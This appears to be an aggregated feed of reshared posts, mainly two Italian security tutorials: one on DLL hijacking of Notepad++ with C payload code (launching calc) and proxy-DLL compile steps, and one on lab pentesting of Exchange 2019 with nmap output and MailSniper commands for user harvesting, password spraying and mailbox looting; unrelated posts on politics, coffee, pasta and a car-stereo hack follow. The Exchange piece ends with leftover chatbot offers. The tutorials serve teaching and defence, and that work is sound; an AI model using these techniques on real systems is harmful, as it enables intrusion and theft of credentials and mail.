Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker
Nel mese di Settembre è uscita una nuova vulnerabilità che riguarda Notepad++. La vulnerabilità è stata identificata con la CVE-2025-56383 i dettagli possono essere consultati nel sito del NIST. La vulnerabilità CVE-2025-56383 è un caso di DLL Hijacking che interessa l’editor di testo Notepad++ v8.8.3 e potenzialmente versioni successive.
Sfruttando questa debolezza, un utente malintenzionato può ingannare l’applicazione per fargli caricare una DLL dannosa che ha lo stesso nome di una libreria legittima richiesta dal programma (un esempio comune riguarda i file DLL nella cartella dei plugin).
Se l’attacco riesce, il codice malevolo viene eseguito con gli stessi permessi dell’utente che sta utilizzando Notepad++, consentendo l’esecuzione di codice arbitrario sul sistema target.
Tuttavia, è fondamentale notare che questa CVE è stata etichettata come contestata (“Disputed”) da diverse fonti.
Ciò accade perché l’attacco è effettivamente possibile solo se l’utente ha installato Notepad++ in una directory che, per errore o cattiva configurazione, consente l’accesso in scrittura a utenti non privilegiati.
Nelle installazioni standard di Windows, un utente normale non dovrebbe avere i permessi per modificare i file nella cartella di installazione del programma, il che ridimensiona il problema da una vulnerabilità intrinseca del software a un rischio derivante da una configurazione del sistema operativo non sicura.
E’ stato rilasciato un poc che dimostra con alcuni screen come è possibile in notepad++ eseguire DLL Hijacking della libreria NppExport.dll visibile nel link sottoastante.
La tecnica del DLL Hijacking (letteralmente “dirottamento di DLL”) è un metodo di attacco che sfrutta il modo in cui il sistema operativo Windows cerca e carica le librerie di collegamento dinamico (Dynamic Link Libraries o DLL) necessarie a un’applicazione per funzionare.
In sostanza, un aggressore induce un’applicazione legittima a caricare ed eseguire una DLL malevola al posto della DLL originale e attesa.
La DLL Hijacking è simile alla DLL Injection ma se ne distingue per il meccanismo: la DLL Injection è una tecnica generica che forza un processo in esecuzione a caricare una DLL arbitraria (spesso dannosa) direttamente in memoria, mentre il DLL Hijacking sfrutta un’errata gestione del percorso di ricerca di una DLL esistente o mancante per far caricare la versione malevola al suo posto.
Analizziamo cosa di intende per DLL Hijacking e testiamo direttamente su Notepad++
Tipi Comuni di DLL Hijacking
Ci sono diverse varianti di questa tecnica:
DLL Search Order Hijacking (Dirottamento dell’ordine di ricerca DLL): sfrutta l’ordine predefinito di ricerca di Windows. L’aggressore inserisce la DLL in una cartella con precedenza (ad esempio, la stessa cartella dell’eseguibile dell’applicazione).
DLL Side-Loading (Caricamento laterale di DLL): Una forma molto comune. L’aggressore copia un eseguibile legittimo e affidabile (ad esempio, un programma firmato digitalmente) e la sua DLL malevola (con il nome della DLL attesa) in una cartella esterna, spesso accessibile all’utente. Il codice malevolo viene eseguito sotto il contesto di un processo affidabile, eludendo i controlli di sicurezza basati sull’integrità o sulla lista bianca degli eseguibili.
DLL Substitution (Sostituzione di DLL): Un approccio più aggressivo e diretto dove l’aggressore bypassa l’ordine di ricerca per sovrascrivere la DLL originale e legittima con un file malevolo nello stesso identico percorso.
Phantom DLL Hijacking (Dirottamento della DLL fantasma): sfrutta un’applicazione che tenta di caricare una DLL che non esiste affatto sul sistema (magari per un errore di programmazione o una dipendenza non necessaria). L’aggressore piazza la DLL malevola con il nome del file mancante, forzando il caricamento.
Come un applicazione carica un DLL?
Quando un’applicazione deve caricare una DLL e non ne specifica il percorso completo e assoluto, Windows inizia una ricerca in una serie di directory predefinite e in un ordine specifico.
L’ordine di ricerca per le DLL (che può variare leggermente a seconda delle API di caricamento e delle configurazioni di sistema) solitamente include:
- La directory da cui viene caricata l’applicazione (la sua cartella).
- La directory di sistema (%SystemRoot%\System32).
- La directory di Windows (%SystemRoot%).
- La directory corrente di lavoro.
- Le directory elencate nella variabile d’ambiente PATH.
Per cui un aggressore sfrutta questa sequenza per piazzare una DLL malevola (con lo stesso nome della DLL legittima mancante, attesa oppure sostituendola) in una delle directory che Windows controlla prima della posizione della DLL vera.
Quando l’applicazione viene avviata, Windows trova e carica la DLL malevola prima di raggiungere la posizione della DLL legittima (oppure caricando la ddl diversa se è stata sostituita).
Il codice malevolo all’interno di questa DLL viene quindi eseguito, spesso con gli stessi privilegi dell’applicazione che l’ha caricata.
Obiettivi dell’Attacco
Questa tecnica è popolare tra gli aggressori perché consente di:
Esecuzione Stealthy (Furtiva): Il codice malevolo viene eseguito all’interno del processo di un’applicazione legittima (spesso anche firmata), rendendolo difficile da rilevare dai tradizionali sistemi antivirus o di monitoraggio.
Persistenza: Una volta piazzata, la DLL malevola può garantire che il codice dell’aggressore venga ri-eseguito ogni volta che l’applicazione legittima viene avviata.
Escalation dei Privilegi: Se l’applicazione legittima viene eseguita con privilegi elevati (ad esempio, come SYSTEM), anche il codice malevolo erediterà quegli stessi privilegi.
Esempio di DLL Hijacking substitution
Questo esempio è molto semplice e utilizzaremo Notepad++ per analizzare questo metodo di attacco.
Andremo a sostituire la libreria originale con una contenente solo un payload che farà avviare la calcolatrice.
In questo caso usiamo lo script sottostante per generare una nuova DLL dove nel MAIN è presente un payload che verrà avviato.
#include <processthreadsapi.h>
#include <memoryapi.h>
void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
char cmd[] = "calc.exe";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Quindi compiliamo la libreria usando mingw32-gcc.
x86_64-w64-mingw32-gcc -shared -o NppExport.dll version.c
Dopo aver sostituito NppExport.dll e avviato l’applicazione la calcolatrice viene aperta.
Sfortunatamente l’applicazione rileva che qualcosa legato alla libreria e restituisce un errore.
Il motivo è molto semplice, questa non contiene gli export originali, per cui c’è un controllo che avvisa di questo, ostacolo che vedremo come superare nel passo successivo.
Nonostante questo errore Notepad++ prosegue la sua normale esecuzione.
E’ da considerare che in altri casi questa sostituzione potrebbe dare un errore critico e fermare l’esecuzione dell’applicazione, in quanto contenente funzioni essenziali per applicazione stessa.
Esempio tramite tramite proxy DLL
Nell’esempio precedente è stato visto come compilare una nuova libreria e sostituire a una originale al fine che app esegua del contenuto malevolo. Questa sostituzione però causare il crash dell’applicazione o errori vari.
Per cui vediamo una tecnica di DLL hijacking tramite proxy. Il DLL Hijacking by Proxying (dirottamento di DLL tramite proxy) è una tecnica avanzata di cyberattacco che permette all’aggressore di eseguire codice malevolo all’interno di un’applicazione legittima senza causare il crash o l’interruzione del programma.
Il concetto è molto semplice.
- L’aggressore rinomina la DLL originale (es. libreria.dll in libreria_orig.dll). Successivamente, piazza la sua DLL malevola nella posizione prioritaria, chiamandola con il nome originale (libreria.dll).
- L’applicazione app.exe una volta avviata chiede al sistema operativo di caricare legit.dll.
- Il S.O. segue l’ordine di ricerca e trova per prima la DLL Malevola (libreria.dll). Quindi carica la DLL malevola nella memoria del processo app.exe.
- Il codice d’attacco (il payload dannoso) viene eseguito immediatamente (ad esempio, all’interno della funzione DllMain).
- La DLL malevola carica la DLL legittima rinominata (libreria_legit.dll) e la usa come proxy. Tutte le richieste di funzione successive provenienti da app.exe vengono inoltrate alla DLL originale (libreria_legit.dll).
- L’applicazione riceve le risposte corrette dalla DLL originale tramite il proxy e continua a funzionare normalmente. L’utente non si accorge del dirottamento.
Qui uno schema semplificato del procedimento:
Analizziamo nella pratica cosa consiste questo attacco, prendiamo per comodità una repo esistente che contiene tutto quello che ci serve a questo scopo.
github.com/tothi/dll-hijack-by…
Cloniamo il progetto.
All’interno è presente una libreria base (che abbiamo usato nell’esempio precedente) per esecuzione di un payload una volta che questa viene caricata nell’app.
Preleviamo la DDL da eseguire Hijacking, in questo caso NPPExport.dll che è stata rinominata.
Generaimo attraverso li scoript deng_def.py il file version.def file contenente i reindirizzamenti di esportazione tramite lo script Python
Il file .def contiene una sezione chiamata EXPORTS che elenca tutte le funzioni che la DLL deve esporre, in modo da poterle reindirizzare alla DLL legittima originale.
Già da qui è possibile vedere che vari nomi di funzioni vengono reindirizzati a NppExport_orig.dll.
Per finire compiliamo la libreria attraverso mingw-w64:
Le opzioni di compilazione sono simili al primo esempio, ma in questo andiamo ad aggiungere le definizioni degli export aggiuntivi che questa libreria ha bisogno (version.def)
- -shared: dice al compilatore di creare una libreria a collegamento dinamico (una DLL su Windows) invece di un eseguibile standard (.exe).
- -o NppExport.dll: Specifica il nome del file di output.
- version.def: specifica un file di definizione del modulo (Module Definition File) spiegato in precedenza.
- ./dll-hijack-by-proxying/version.c: Questo è il file sorgente C che farà aprire la calcolatrice una volta caricata la libreria.
Ora posizioniamo la nuova libreria di fianco a quella originale modificata
NppExport.dll esegiurà il proxy di tutte le chiamate alle funzioni esportate nel file legittimo NppExport_orig.dll evitando che applicazioni segnali malfunzionamenti.
Se eseguiamo il software non verrà dato nessun errore e il codice malevolo eseguito correttamente.
L'articolo Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker proviene da Red Hot Cyber.
la_r_go* reshared this.
Giustizia, l’Italia verso la separazione delle carriere: la Fondazione Einaudi guida il fronte del Si al prossimo referendum
@Politica interna, europea e internazionale
La Lomellina
L'articolo Giustizia, l’Italia verso la separazione delle carriere: la Fondazione Einaudi guida il fronte del Si al prossimo referendum proviene da
Politica interna, europea e internazionale reshared this.
Penetration Testing di Microsoft Exchange Server: Tecniche, Strumenti e Contromisure
Spesso, durante i penetration test, ci ritroviamo ad avere accessi elevati (Domain Admin) all’interno di un’organizzazione. Alcune aziende si fermano a questo, pensando che ottenere il Domain Admin sia l’obiettivo finale.
Ma non lo è. «Ottenere il Domain Admin» non significa molto per la maggior parte dei dirigenti , se non mostrare concretamente cosa comporta in termini di rischio. Uno dei modi migliori per dimostrare il rischio per un’organizzazione è mostrare la possibilità di accedere a dati sensibili.
Descriviamo qui il penetration testing di Exchange 2019 in un laboratorio GOADv3 configurato su Ludus/Debian.
Strumenti Utilizzati
Il toolkit principale usato è MailSniper, una suite PowerShell progettata per l’enumerazione interna e l’abuso delle mailbox Exchange tramite Exchange Web Services (EWS), Outlook Web Access (OWA) e altri endpoint standard.
Ho usato anche NetExec da una macchina Kali ma MailSniper dava problemi su powershell-linux ed ho dovuto basarmi su una Win11Pro:
Fase 1: Ricognizione e Identificazione di Exchange Server
Prima di ogni attività di penetrazione è fondamentale localizzare con precisione il server Exchange.
- Si parte dalla raccolta OSINT, tramite record MX DNS, URL pubblici di OWA, Autodiscover, certificati TLS e metadata visibili da post di lavoro o documenti pubblici.
- Successivamente si eseguono scansioni mirate con Nmap verso servizi standard:
nmap -p25,80,443,445,587,993,995 -sV -oA exchange_scan 10.3.10.21
Questa scansione permette di individuare le porte di SMTP, HTTPS per OWA, SMB e servizi di posta sicura.
# Nmap 7.95 scan initiated Wed Oct 15 12:52:25 2025 as: /usr/lib/nmap/nmap --privileged -A -T 4 -Pn -oA /mnt/hgfs/VMsharedDownloads/Exchange2019InitialScan 10.3.10.21
Nmap scan report for 10.3.10.21
Host is up (0.0027s latency).
Not shown: 975 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp Microsoft Exchange smtpd
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8, XRDST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
81/tcp open http Microsoft IIS httpd 10.0
|_http-title: 403 - Forbidden: Access is denied.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/https
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| http-title: Outlook
|_Requested resource was 10.3.10.21/owa/auth/logon.aspx…
444/tcp open snpp?
445/tcp open microsoft-ds?
465/tcp open smtp Microsoft Exchange smtpd
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH GSSAPI NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, SMTPUTF8, XRDST, XSHADOWREQUEST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: THE-EYRIE
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: the-eyrie.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
|_ Product_Version: 10.0.17763
587/tcp open smtp Microsoft Exchange smtpd
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
808/tcp open ccproxy-http?
1801/tcp open msmq?
2103/tcp open zephyr-clt?
2105/tcp open eklogin?
2107/tcp open msmq-mgmt?
2525/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, SMTPUTF8, XRDST, XSHADOWREQUEST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: THE-EYRIE
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: the-eyrie.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-10-15T16:52:55+00:00
| ssl-cert: Subject: commonName=the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-07T10:19:37
|_Not valid after: 2026-04-08T10:19:37
3800/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
3801/tcp open mc-nmf .NET Message Framing
3828/tcp open mc-nmf .NET Message Framing
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
5986/tcp open wsmans?
| ssl-cert: Subject: commonName=WIN2019-SRV-X64
| Subject Alternative Name: DNS:WIN2019-SRV-X64, DNS:WIN2019-SRV-X64
| Not valid before: 2025-09-19T18:32:07
|_Not valid after: 2035-09-17T18:32:07
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6789/tcp open ibm-db2-admin?
Device type: general purpose
Running: Microsoft Windows 2019
OS CPE: cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2019
Network Distance: 3 hops
Service Info: Host: the-eyrie.sevenkingdoms.local; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumerazione Utenti ed Endpoints Mail
Invoke-DomainHarvestOWA -ExchHostname 10.3.10.21 
Enumerazione Utenti ed Endpoints Mail
Dopo aver localizzato il server, si procede con la raccolta di utenti validi, indispensabile per attacchi come password spraying o bruteforce.
Con MailSniper si possono estrarre gli utenti dall’endpoint OWA e dalla Global Address List (GAL):
Invoke-UsernameHarvestOWA -UserList .\users.txt -ExchHostname 10.3.10.21 -Domain SEVENKINGDOMS -OutFile AccountsTrovati.txt
Get-GlobalAddressList -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "Password!" -OutFile gal.txt
Una lista utenti ben definita consente di simulare attacchi mirati, testando password realistiche basate su contesto (ad es. Game of Thrones simulati nel laboratorio), ovviamente ci si serve a monte divarie tecniche di OSINT .
Fase 3: Password Spraying e Accesso Iniziale
Utilizzando password realistiche derivate da informazioni pubbliche e di contesto, si effettua il password spraying con MailSniper su ActiveSync EAS, OWA o SMTP:
Invoke-PasswordSpray -UserList userlist.txt -ExchHost 10.3.10.21 -Password "ilovejaime" -OutFile spray_results.txt
Quando si ottiene un accesso valido, ad esempio una combinazione utente/password, si può utilizzare PowerShell per accedere al mailbox tramite EWS ed iniziare la fase di post-exploitation.
Le credenziali sono corrette:
Post-Exploitation e Ricerca di Informazioni Sensibili
Con MailSniper, da un account compromesso, si può:
- Cercare all’interno della mailbox illeciti credenziali o informazioni sensibili:
Invoke-SelfSearch -Mailbox compromised@domain.local -Terms "password","vpn","confidential"
- Enumerare gli allegati e scaricarli per analisi esterna:
Invoke-SelfSearch -Mailbox compromised@domain.local -CheckAttachments -DownloadDir C:\loot\
- Se si dispone di un ruolo amministrativo con permessi di impersonation, espandere la ricerca globalmente sulle mailbox della rete:
Invoke-GlobalMailSearch -ImpersonationAccount "domain\admin" -ExchHostname 10.3.10.21 -Terms "password","confidential" -OutputCsv all_mail_search.csv
Lateral Movement e Escalation Privilegi
Accedere alle mailbox permette di ricercare credenziali di account privilegiati (ad es. Domain Admin), spesso presenti come allegati o messaggi.
Con queste credenziali si possono:
- Accedere a sistemi interni tramite RDP o PowerShell remoting.
- Sfruttare tecniche come Kerberoasting (richiesta ticket Kerberos a servizi Exchange) per ricavare hash da crackare.
- Usare deleghe Exchange e permessi mailbox per inviare mail “Send As” e muoversi nel dominio.
Comandi utili per controllare permessi mailbox:
Invoke-MailboxPermsAudit -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "password" -OutFile mailbox_permissions.csv
Difese Consigliate contro Attacchi a Exchange
Per mitigare i rischi evidenziati:
- Limitare permessi mailbox e delegation: solo i ruoli strettamente necessari devono poter impersonare o inviare mail per conto di altri.
- Monitoraggio delle attività Exchange: logging approfondito per autenticazioni, uso di EWS e tentativi mail sospetti.
- Aggiornamenti puntuali: installare le patch contro vulnerabilità note come ProxyLogon, ProxyShell, e zero-day emergenti.
- Multi-Factor Authentication (MFA) su OWA, EAS e PowerShell remoting per ridurre l’efficacia di credential stuffing.
- Segmentazione della rete: isolare i server Exchange e limitare l’accesso dalla DMZ e zona interna in base ai principi di least privilege.
- Controlli e blocchi di password spraying: implementare politiche di lockout, analisi comportamentale e tool interni per identificare logon sospetti.
(Immagine: schema di rete con segmentazione e controllo accessi)
Conclusioni
Il penetration test di un Exchange Server 2019 richiede una metodologia articolata che va dalla ricognizione accurata, passando per attacchi mirati come password spraying, fino all’abuso post-compromissione di mailbox per avanzare nella rete.
Il laboratorio GOADv3 su Ludus/Debian fornisce un ambiente ideale per simulare queste tecniche in sicurezza, permettendo di affinare le capacità offensive e, soprattutto, di testare le difese IT.
L’uso di strumenti come MailSniper facilita la ricerca di credenziali, permessi e dati sensibili, dimostrando concretamente il rischio che una compromissione di Exchange comporta per un’organizzazione.
Implementare difese robuste e monitoraggio continuo è la chiave per ridurre la superficie di attacco e rallentare gli avversari informatici contemporanei.
Se interessa, posso anche fornire in seguito uno script PowerShell automatizzato per alcune delle procedure sopra descritte.
Se vuoi, posso creare il testo con formattazione markdown anche per post o documenti tecnici. Vuoi procedere?
Sources
[1] test-art.pdf ppl-ai-file-upload.s3.amazonaw…
L'articolo Penetration Testing di Microsoft Exchange Server: Tecniche, Strumenti e Contromisure proviene da Red Hot Cyber.
Più lo mandi giù, più ti tira su
@Politica interna, europea e internazionale
Soldi e libertà. È questa la miscela giusta di Lavazza che “più lo mandi giù, più ti tira su”. Non è soltanto una pubblicità ben riuscita: è una filosofia aziendale che oggi diventa esempio concreto, riconosciuto ufficialmente dalla classifica “Best Employers 2026. Prima in Italia, non a caso. Torino, Settimo Torinese e Gattinara non sono
Politica interna, europea e internazionale reshared this.
Il nuovo video di Pasta Grannies: youtube.com/shorts/wIB_sAAbsZ4
@Cucina e ricette
(HASHTAG)
Cucina e ricette reshared this.
Hacking Buttons Back Into the Car Stereo
To our younger readers, a car without an all-touchscreen “infotainment” system may look clunky and dated, but really, you kids don’t know what they’re missing. Buttons, knobs, and switches all offer a level of satisfying tactility and feedback that touchscreens totally lack. [Garage Builds] on YouTube agrees; he also doesn’t like the way his aftermarket Kenwood head unit looks in his 2004-vintage Nissan. That’s why he decided to take matters into his own hands, and hack the buttons back on.
Rather than source a vintage stereo head unit, or try and DIY one from scratch, [Garage Builds] has actually hidden the modern touchscreen unit behind a button panel. That button panel is actually salvaged from the stock stereo, so the looks fit the car. The stereo’s LCD gets replaced with a modern color unit, but otherwise it looks pretty stock at the end.
Adding buttons to the Kenwood is all possible thanks to steering-wheel controls. In order to make use of those, the touchscreen head unit came with a little black box that translated the button press into some kind of one-wire protocol that turned out to be an inverted and carrier-less version of the NEC protocol used in IR TV remotes. (That bit of detective work comes from [michaelb], who figured all this out for his Ford years ago, but [Garage Builds] is also sharing his code on GitHub.)
Having the protocol, it simply becomes a matter of grabbing a microcontroller to scan the stock buttons and output the necessary codes to the Kenwood head unit. Of course now he has extra buttons, since the digital head unit has no tape or CD changer to control, nor AM/FM radio to tune. Those get repurposed for the interior and exterior RGB lighting [Garage Builds] has ̶i̶n̶f̶l̶i̶c̶t̶e̶d̶ mounted on this ̶p̶o̶o̶r̶ lovely car. (There’s no accounting for taste. Some of us love the look and some hate it, but he’s certainly captured an aesthetic, and now has easy control of it to boot.) [Garage Builds] has got custom digital gauges to put into the dash of his Nissan, and some of the extra buttons have been adapted to control those, too.
The whole car is actually a rolling hack as you can see from the back catalog of the [Garage Builds] YouTube channel, which might be worth a look if you’re in the intersection of the “electronics enthusiast” and “gearhead” Venn Diagram.
There’s no accounting for taste, but we absolutely agree with him that making everything black rectangles is the death of industrial design.
This isn’t the first time we’ve seen retro radios hacked together with micro-controllers; take a look at this one from a 1970s Toyota. Now that’s vintage!
Gazzetta del Cadavere reshared this.